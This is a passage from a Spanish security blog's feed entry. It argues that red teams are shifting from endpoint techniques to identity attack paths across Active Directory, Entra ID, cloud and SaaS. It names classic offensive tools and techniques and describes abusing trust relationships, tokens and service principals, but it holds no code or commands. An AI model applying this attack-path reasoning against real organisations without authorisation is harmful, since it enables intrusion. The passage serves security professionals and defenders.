class=&quot;isSelectedEnd&quot;&gt;Y eso crea algo que desde el punto de vista ofensivo resulta especialmente interesante: &lt;strong&gt;un puente entre dos mundos de identidad&lt;/strong&gt;.&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Microsoft considera determinados componentes de la infraestructura de sincronización como sistemas críticos porque pueden afectar directamente a la relación entre Active Directory y Entra ID. Esto significa que comprometer el dominio local ya no tiene necesariamente como objetivo final conseguir Domain Admin. Puede ser simplemente el camino para conseguir influencia sobre la identidad cloud.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y también funciona al revés. Una cuenta cloud comprometida puede proporcionar acceso a aplicaciones, secretos o recursos que permitan regresar posteriormente al entorno local. El antiguo concepto de perímetro desaparece un poco aquí.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Ya no tenemos: Internet -&amp;gt; Firewall -&amp;gt; AD&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Tenemos algo mucho más parecido a:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;              Active Directory
                    ↕
              sincronización
                    ↕
                 Entra ID
              ↙     ↓     ↘
          M365     Azure     SaaS
              ↘     ↓     ↙
             dispositivos
                    ↕
              identidades&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y precisamente por eso los ataques híbridos son tan interesantes: &lt;strong&gt;el atacante puede entrar por un lado y buscar el impacto en el otro&lt;/strong&gt;.&lt;/p&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;Del arsenal de técnicas al mapa de confianza&lt;/b&gt;&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Si juntamos todo esto aparece una conclusión bastante clara. El Red Team tradicional acumulaba técnicas. Teníamos un conjunto de herramientas y sabíamos qué hacer cuando conseguíamos determinadas posiciones: PowerShell, Mimikatz, Kerberoasting, NTLM relay, Cobalt Strike, DLLs, LOLBins...&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El Red Team moderno necesita seguir conociendo todo eso, pero debe añadir otra capa. Necesita entender cómo se relacionan las identidades.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Porque una operación puede empezar con una cuenta de usuario y terminar con una aplicación. Puede comenzar en un endpoint y acabar en Azure. Puede empezar con un certificado y terminar en Entra. Puede comenzar con un SaaS aparentemente inocente y acabar en un pipeline de producción.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y en muchos casos no necesitamos una técnica espectacular. Necesitamos encontrar &lt;strong&gt;la relación que alguien configuró y que permite que una identidad confíe demasiado en otra&lt;/strong&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Ese es probablemente el cambio más importante:&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Antes buscábamos la vulnerabilidad. Ahora buscamos el &lt;strong&gt;camino de ataque&lt;/strong&gt;.&lt;/li&gt;&lt;li&gt;Antes queríamos una shell. Ahora queremos una identidad con capacidad de llegar al objetivo.&lt;/li&gt;&lt;li&gt;Antes el movimiento lateral significaba saltar entre máquinas. Ahora puede significar saltar entre identidades, aplicaciones, servicios y clouds.&lt;/li&gt;&lt;/ul&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;¿Y qué debería aprender un Red Teamer?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La respuesta no es abandonar Active Directory ni dejar de aprender Windows. Al contrario. Kerberos, LDAP, AD CS, Windows internals, autenticación y las técnicas clásicas siguen siendo fundamentales. Lo que ocurre es que ahora hay que añadir otra dimensión.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Hay que entender Entra ID, OAuth, Microsoft Graph, service principals, managed identities, RBAC, Conditional Access, dispositivos, certificados, SaaS, CI/CD y las relaciones entre todo ello. Y, sobre todo, hay que aprender a pensar en términos de &lt;strong&gt;trust relationships&lt;/strong&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Porque probablemente el operador más peligroso de los próximos años no será el que conozca el mayor número de bypasses de EDR. Será el que sea capaz de mirar un entorno y decir: &quot;Este usuario confía en esta aplicación, esta aplicación confía en este recurso, este recurso puede obtener esta identidad y esta identidad tiene acceso a aquello.&quot;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y entonces descubrir que, sin explotar ninguna vulnerabilidad especialmente llamativa, &lt;strong&gt;el camino completo hasta el objetivo ya estaba construido&lt;/strong&gt;.&lt;/p&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;Conclusiones&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Las técnicas clásicas no van a desaparecer. Seguiremos haciendo Kerberoasting cuando tenga sentido. Seguiremos utilizando PowerShell cuando sea la mejor herramienta. Seguiremos encontrando escenarios donde NTLM relay sea válido y donde un endpoint comprometido sea precisamente lo que necesitamos.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Pero cada vez será menos suficiente conocer únicamente las técnicas.&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El Red Team está desplazando su foco desde el endpoint hacia la identidad, desde la ejecución hacia la autorización y desde las vulnerabilidades aisladas hacia los caminos de ataque.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y esto tiene una consecuencia interesante: &lt;strong&gt;la operación puede ser mucho más silenciosa sin necesidad de hacer ninguna magia de evasión&lt;/strong&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Si conseguimos que una aplicación nos entregue un token válido, que un service principal nos permita acceder a un recurso o que una relación de confianza nos lleve hasta una identidad privilegiada, no necesitamos necesariamente romper el sistema. Podemos simplemente conseguir que haga lo que fue diseñado para hacer. Solo que en nuestro beneficio.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En el próximo paso, el reto será precisamente combinar ambos mundos: &lt;strong&gt;AD + Entra + Cloud + SaaS + Device Identity&lt;/strong&gt; y empezar a construir campañas donde el objetivo no sea &quot;ser Domain Admin&quot;, sino demostrar cómo una identidad aparentemente poco privilegiada puede terminar afectando a un activo crítico.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/6700956080907665383/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/08/identidad-tecnicas-red-team-relevo.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/6700956080907665383'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/6700956080907665383'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/08/identidad-tecnicas-red-team-relevo.html' title='Del endpoint a la identidad: las técnicas de Red Team que están tomando el relevo'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJFJVi9YOS6SBgiRaFGaU9BuctdrUOcCqQfyP_qghkn_4SpqRRNmv3RqLEvQdjtWLDjH6J3NSYvpgaBvBNoYd9biLLX7EtkRrwgjEQTmn8AWBXrHnQwFtqYSzxAPtSc7xmzIat8umkX53LsPZunCeu_uFELnuGp5pamU9tXV2U_nlZLLra331AFXe6xDES/s72-w640-h426-c/identity_new_perimeter.png" height="72" width="72"/><thr:total>0</thr:total></entry></feed>